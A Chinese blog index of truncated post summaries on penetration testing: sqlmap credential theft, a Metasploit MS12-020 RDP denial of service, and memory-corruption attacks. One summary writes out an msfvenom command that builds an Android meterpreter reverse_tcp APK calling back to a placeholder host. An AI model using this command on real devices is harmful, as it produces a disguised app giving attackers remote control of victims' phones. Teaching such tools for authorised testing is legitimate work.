摘要：
我们都知道，对于网络渗透最重要的一步是要拿到后台数据库管理员的密码与用户名，那么怎么得到这个用户名和密码呢？就要用到今天所说的Sqlmap，它不仅适用于内网环境，在外网环境也是非常受欢迎的，并且在Kali Linux里边显得尤为重要，它所到之处几乎是“寸草不生”，那么接下来我就简单介绍下Sqlmap 阅读全文
摘要：
首先我在Kali下生成一个Android的应用程序，即apk格式的文件，用到的命令是： msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释：-p：指的是在本次环境中攻击所使用的pa 阅读全文
摘要：
Metasploit利用远程桌面协议RDP拒绝访问漏洞(MS12-020) 可以看到3389服务以及启动： 则可以看见主机已经遭受了溢出攻击而蓝屏重启： 而在监听端可以看出整个攻击的DOS全过程： 阅读全文
摘要：
内存攻击指的是攻击者利用软件安全漏洞，构造恶意输入导致软件在处理输入数据时出现非预期错误，将输入数据写入内存中的某些特定敏感位置，从而劫持软件控制流，转而执行外部输入的指令代码，造成目标系统被获取远程控制或被拒绝服务。内存攻击表面原因是软件编写错误，注入过滤输入的条件设置缺陷、变量类型转换错误等，但 阅读全文